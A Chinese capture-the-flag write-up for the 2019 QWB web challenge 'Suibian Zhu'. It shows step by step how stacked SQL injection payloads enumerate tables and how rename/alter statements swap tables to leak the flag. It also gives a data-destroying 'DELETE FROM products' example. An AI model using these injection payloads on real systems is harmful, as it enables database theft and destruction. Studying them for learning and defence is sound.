强网杯2019-web-随便注

题目

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LGZJvAd8-1580880570577)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\ti.PNG)]

writeup

首先根据题目意思,知道是SQL注入

尝试进行注入

?inject=1

强网杯2019-web-随便注_第1张图片

1'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8LuFYaB-1580880570580)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\2.PNG)]

发现报错,想到利用#进行截断(注释掉)

1' #

强网杯2019-web-随便注_第2张图片

回显正常

1' and 1=1#

强网杯2019-web-随便注_第3张图片

1' and 1=2#

强网杯2019-web-随便注_第4张图片

发现没有回显

判断字段数

1' order by 1#

强网杯2019-web-随便注_第5张图片

1' order by 2#

强网杯2019-web-随便注_第6张图片

1' order by 3#

强网杯2019-web-随便注_第7张图片

到3时报错,故知字段数为2

尝试union联合注入

1' union select 1,2 #

强网杯2019-web-随便注_第8张图片

发现报错,即过滤了select等关键字

查阅资料尝试

堆叠注入

1' ; show databases;#

强网杯2019-web-随便注_第9张图片

成功回显

查询表名

1' ; show tables;#

强网杯2019-web-随便注_第10张图片

查询两个表中的列名

1' ; show columns from words;#

强网杯2019-web-随便注_第11张图片

1' ; show columns from `1919810931114514`;#

强网杯2019-web-随便注_第12张图片

注意:使用反单引号

发现flag

查询大神博客后被下面的操作惊艳~

重点来了!!!

从之前的回显发现实际上都是words表内的,我们若想得到flag中的内容,需将其换为words表内的内容进行回显

换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id

则需要以下三步:

  • 将表名words换为其他的,类似于word1
  • 将表名1919810931114514换为words
  • 将列名flag换为id

并通过之前的过滤规则发现并没有过滤掉alterrename等关键字

于是构造

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 

强网杯2019-web-随便注_第13张图片

成功改变数据库结构后

1' or 1=1#

强网杯2019-web-随便注_第14张图片

得到flag~

知识点

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。

试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

参考文章:https://www.cnblogs.com/0nth3way/articles/7128189.html

对于数据库结构改变的简单语句

CREATE DATABASE - 创建新数据库
ALTER DATABASE - 修改数据库
CREATE TABLE - 创建新表
ALTER TABLE - 变更(改变)数据库表
DROP TABLE - 删除表
CREATE INDEX - 创建索引(搜索键)
DROP INDEX - 删除索引

本题涉及:

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 
  • rename - 重命名

    rename tables `words` to `word1`
    

    重命名表wordsword1

  • alter - 变更列

    alter table `words` change `flag` `id` varchar(100)
    

    变更表words中的列flagid 且其性质为varchar(100)

你可能感兴趣的:(CTF之Web)